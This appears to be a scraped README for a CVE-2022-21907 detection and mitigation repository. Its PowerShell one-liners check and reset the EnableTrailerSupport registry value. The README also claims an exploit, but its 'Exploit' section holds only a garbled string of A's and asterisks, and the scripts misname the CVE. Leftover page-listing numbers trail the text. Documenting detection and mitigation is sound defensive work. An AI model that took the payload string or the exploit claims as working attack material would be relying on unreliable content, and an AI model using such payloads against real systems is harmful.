CVE-2022-21907
Description
This repository detects a system vulnerable to CVE-2022-21907 (CVSS:3.1 9.8), protects against this vulnerability if desired and exploit it with python and powershell (a payload is available). I offer 2 powershell codes in 1 line.
Codes
Only detect
$ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and $(Write-Host "$env:computername vulnerable to CVE-2022-2190 !")
$ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 !"}else{echo "Not vulnerable to CVE-2022-2190"}
With protection
Run these scripts as administrator to protect your computer/server.
$ErrorActionPreference="SilentlyContinue";$_=($(Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport).EnableTrailerSupport -or $(Write-Host "Not vulnerable to CVE-2022-2190")) -and ($(Write-Host "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0") -or $(Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0))
$ErrorActionPreference="SilentlyContinue";$key=Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport;if($key -AND $key.EnableTrailerSupport -ne 0){echo "$env:computername vulnerable to CVE-2022-2190 ! Change EnableTrailerSupport value to 0";Set-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\HTTP\Parameters\ -Name EnableTrailerSupport -Value 0}else{echo "Not vulnerable to CVE-2022-2190"}
Exploit
AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,
Sources
Licence
Licensed under the GPL, version 3.
2 Feb 15, 2022
25 Oct 14, 2022
431 Dec 22, 2022
43 Nov 9, 2022
6 Dec 28, 2022
8 Feb 27, 2022
20 Aug 25, 2022
108 Dec 4, 2021
165 Dec 21, 2022
81 Dec 12, 2022
2 Jan 11, 2022
135 Dec 31, 2022
9 Oct 05, 2022
4 Feb 24, 2022
3 Dec 04, 2022
1 Nov 24, 2022
6 Jun 05, 2022
1.5k Jan 04, 2023
50 Sep 13, 2022
5 Jun 26, 2022
7 Nov 24, 2022
43 Dec 23, 2022
52 Dec 17, 2022
25 Oct 10, 2022
0 Aug 28, 2022
44 Nov 18, 2022
25 May 10, 2022
231 Nov 12, 2022
81 Dec 07, 2022